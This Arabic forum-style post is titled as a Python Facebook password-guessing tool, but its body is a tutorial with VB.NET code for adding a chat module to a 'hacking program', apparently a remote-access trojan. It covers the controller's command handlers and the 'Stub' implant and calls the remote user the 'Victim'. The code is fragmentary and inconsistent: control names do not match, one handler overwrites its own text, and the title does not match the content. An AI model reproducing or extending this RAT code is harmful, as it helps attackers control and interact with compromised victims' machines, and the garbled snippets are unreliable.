اداة لتخمين باسورد الفيس بوك بواسطة اداة بالغة البايثون + قاموس

السلام عليكم ورحمة الله وبركاتة

كيفية اضافة خاصية Chat لبرنامج الاختراق الخاص بك :

صناعة التصميم الخاص بك : يجب ان يحتوي علي 

 Text box1 | Multi line = True

 Text box2 | Multi line = False

الكود : 

    Private Sub Chat_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load        Form1.S.Send(sock, "ochat")            End Sub

 الملحوظات :

Chat = اسم الفورم التي صممتها 
Form1 = الفورم الرئيسي لبرنامج الاختراق الخاص بك

كود زر Enter لارسال رسائلك لضحية : 

Private Sub textbox2_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles Sendbox.KeyPress        If e.KeyChar = Chr(Keys.Enter) Then            If textbox2.Text = "" Then Exit Sub            textbox1.Text += Environment.NewLine & "You : " & textbox1.Text            Form1.S.Send(sock, "recv" & "|U|" & Sendbox.Text)            textbox1.Text = ""        End If

كود التعريف في الفورم الرئيسية : 

Case "chat"                    Dim f As Chat = My.Application.OpenForms("chat" & sock)                    If f Is Nothing Then                        If Me.InvokeRequired Then                            Me.Invoke(New _Data(AddressOf data), New Object() {sock, B})                            Exit Sub                        End If                        f = New Chat                        f.sock = sock                        f.Name = "chat" & sock                        f.Text += "Chatting" & " - " & S.IP(sock)                        f.Show()                    End If


  Case "chatback"                    Dim fff As Chat = My.Application.OpenForms("Chat" & sock)                    fff.textbox1.Text = fff.textbox1.Text & fff.Victimename & " said : " & A(1) & vbNewLine                Case "readytochat"                    If My.Application.OpenForms("readytochat" & sock) IsNot Nothing Then Exit Sub                    If Me.InvokeRequired Then                        Dim j As New _Data(AddressOf data)                        Me.Invoke(j, New Object() {sock, B})                        Exit Sub                    End If                    Dim fm As New Chatt                    fm.sock = sock                    fm.Name = "Chat" & sock                    fm.Text = fm.Text & " " & S.IP(sock)                    fm.Show()

                Case "recv"                    If L1.FindItemWithText(S.IP(sock)) Is Nothing Then                        S.Disconnect(sock)                    End If                    Dim f As Chat = My.Application.OpenForms("chat" & sock)                    f.Recv.ScrollToCaret()                    f.Recv.Text += Environment.NewLine & "Victim : " & A(1)                    f.Recv.SelectionStart = f.textbox1.Text.Length                    f.textbox1.ScrollToCaret()

كود الارسال : Button | Concept menu strip : 

 Try            For Each x As ListViewItem In L1.SelectedItems                S.Send(x.ToolTipText, "chat")            Next        Catch ex As Exception            MsgBox(ex.Message)        End Try

 كود التعريف في Stub :

 Case "chat"                    C.Send("chat" & Yy & Npc)                Case "recv"                    Invoke(New oc(AddressOf och))                    Invoke(New rv(AddressOf rvt), A(1))

انتهي الشرح والسلام عليكم ورحمة الله وبركاتة